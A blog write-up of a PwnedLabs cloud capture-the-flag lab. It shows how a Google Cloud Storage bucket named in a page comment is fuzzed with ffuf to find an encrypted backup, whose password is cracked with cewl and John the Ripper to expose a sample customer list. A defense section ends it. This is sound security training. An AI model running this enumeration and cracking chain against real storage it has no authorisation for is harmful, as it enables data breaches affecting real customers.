Reveal Hidden Files in Google Storage

This blog is based on the free lab provided by PwnedLabs. PwnedLabs provides a lot of free labs to practice in the cloud environment on platforms such as AWS, GCP, and Azure. The lab showcases how Cloud storage can be easy to misconfigure and misuse, and there is also a school of thought that it should instead be split into public storage and private storage services. Where a bucket stores a mix of public and private content, the risk is unauthorized access and a possible breach.

Let’s dive into it! First, we need to download the VPN file and connect via OpenVPN.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ sudo openvpn pwnedlabs.ovpn 

Once, you get the IP address for the tun adapter, we should be able to interact with the lab. Toggle the On/Off switch to turn ON the lab and you will see the entry point–which is a web URL in this case.

Web Server Enumeration

Going to the link provided, we see the following web page.

Viewing the page source, there is a comment that reveals some interesting information.

The subdomain storage.googleapis.com belongs to the Google Storage service, while it-storage-bucket is the name of the bucket. The name of the bucket doesn’t seem like it’s just dedicated to website resources… let’s check it out.

We can install the Google Cloud CLI here: https://cloud.google.com/sdk/docs/install-sdk. Once it’s installed, go ahead and authenticate with a personal Google account.

The link has all the instructions we need to install Google Cloud CLI on Linux

gcloud auth login

Attempting to list the bucket contents using the gcloud command returns an access denied error. Specifically, it seems that we (public users) don’t have the storage.buckets.get permission on the resource.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ gcloud storage buckets list gs://it-storage-bucket/ 
ERROR: (gcloud.storage.buckets.list) User [someone@gmail.com] does not have permission to access b instance [it-storage-bucket] (or it may not exist): someone@gmail.com does not have storage.buckets.get access to the Google Cloud Storage bucket. Permission 'storage.buckets.get' denied on resource (or it may not exist).

Although we can’t list the bucket and see what else is stored there (apart from examining website links), Cloud Storage operations use names to identify buckets and objects. Therefore, we can try to make requests to potential file and folder names and infer their existence by analyzing the response codes received. Seeing the generic name of the bucket, we can think of looking for IT-related files.

FFUF

Backup files can be an attractive enumeration target as they often contain source code, credentials and other sensitive data. We can download the wordlist below that contains a list of common backup file names. It’s a good idea to maintain your file of discovered files and directories that you find on engagements.

First, let’s download the wordlist that contains a list of backup files using wget.

wget https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/backup_files_only.txt

Now, we can run ffuf to begin brute-forcing the directories looking for backup files.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ ffuf -w backup_files_only.txt -u https://storage.googleapis.com/it-storage-bucket/FUZZ -mc 200 -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://storage.googleapis.com/it-storage-bucket/FUZZ
 :: Wordlist         : FUZZ: /home/ishsome/PwnedLabs/backup_files_only.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

backup.7z               [Status: 200, Size: 22072, Words: 102, Lines: 101, Duration: 276ms]
:: Progress: [1015/1015] :: Job [1/1] :: 282 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

Let’s download the backup.7z file using wget.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ wget https://storage.googleapis.com/it-storage-bucket/backup.7z
--2024-01-29 20:25:52--  https://storage.googleapis.com/it-storage-bucket/backup.7z
Resolving storage.googleapis.com (storage.googleapis.com)... 142.251.33.91, 142.250.217.91, 142.250.217.123, ...
Connecting to storage.googleapis.com (storage.googleapis.com)|142.251.33.91|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22072 (22K) [application/octet-stream]
Saving to: ‘backup.7z’

backup.7z              100%[===========================>]  21.55K  --.-KB/s    in 0.1s    

2024-01-29 20:25:53 (199 KB/s) - ‘backup.7z’ saved [22072/22072]

We can now extract the file using 7z.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ 7z x backup.7z 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 22072 bytes (22 KiB)

Extracting archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 22072
Headers Size = 232
Method = LZMA2:16 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):

The file is encrypted with a password. We need to extract the password before we can uncompress it. Let’s use the John-the-ripper tool to extract the password.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ 7z2john backup.7z > backup.hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
                                                                                           
┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ cat backup.hash 
backup.7z:$7z$2$19$0$$8$1090375a5c67675f0000000000000000$3425971665$21840$21837$f4241ca97e603bf4f3e6375e64c70a8a3f335cbbcbdf16 ..<SNIPPED>..

I tried cracking the hash using the rockyou.txt file but was unable to extract it. We are required to create our custom wordlist using cewl.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ cewl https://careers.gigantic-retail.com/index.html > wordlist.txt
                                                                                           
┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ head wordlist.txt                            
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
and
Join
opportunities
your
career
navbar
Your
Career
Our

Running John again with this wordlist, we can get the password in just a few seconds!

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ john backup.hash --wordlist=wordlist.txt                          
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 SSE2 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 3 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 21837 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
balance          (backup.7z)     
1g 0:00:00:04 DONE (2024-01-29 20:40) 0.2207g/s 24.72p/s 24.72c/s 24.72C/s being..achieve
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Extracting the archive and providing the password, we find the names and home addresses of Gigantic Retail customers! We can also get the flag for this challenge.

┌──(ishsome㉿kali)-[~/PwnedLabs]
└─$ head customers-credit-review.csv                                  
first_name,last_name,address,city,county,state,zip,phone1,phone2,email
James,Butt,6649 N Blue Gum St,New Orleans,Orleans,LA,70116,504-621-8927,504-845-1427,jbutt@gmail.com
Josephine,Darakjy,4 B Blue Ridge Blvd,Brighton,Livingston,MI,48116,810-292-9388,810-374-9840,josephine_darakjy@darakjy.org
Art,Venere,8 W Cerritos Ave #54,Bridgeport,Gloucester,NJ,8014,856-636-8749,856-264-4130,art@venere.org
..<SNIPPED>..

Defense

Multiple security oversights contributed to this breach, and while each may seem small, combined they had a huge impact. In such scenarios, the reputation damage and fines issued by regulators can be very severe.

Firstly the commented-out code disclosed the name of the Google Storage bucket that was hosting the website. From there we found that a backup file was discoverable and accessible from anywhere on the internet, provided they know the file name. The backup file was encrypted with a very weak password that was not resilient to offline cracking. It was then found that the file contained unencrypted PII (personally identifiable information), including the names and home addresses of Gigantic Retail customers.

Cloud storage should either be used to make resources publicly accessible, such as a website, or used to store resources that should only be privately accessible. The bucket should have been used for the single purpose of serving a website. This would help avoid private files being stored on a bucket that is accessible on the internet. Naming the bucket in line with its purpose could help to reduce confusion about what files should be stored there. However, predictable naming conventions or names that provide threat actors with information is also problematic. The recommendation from cloud storage providers is to use per-project random codenames such as deltaorangestouchdown-prod to name the buckets.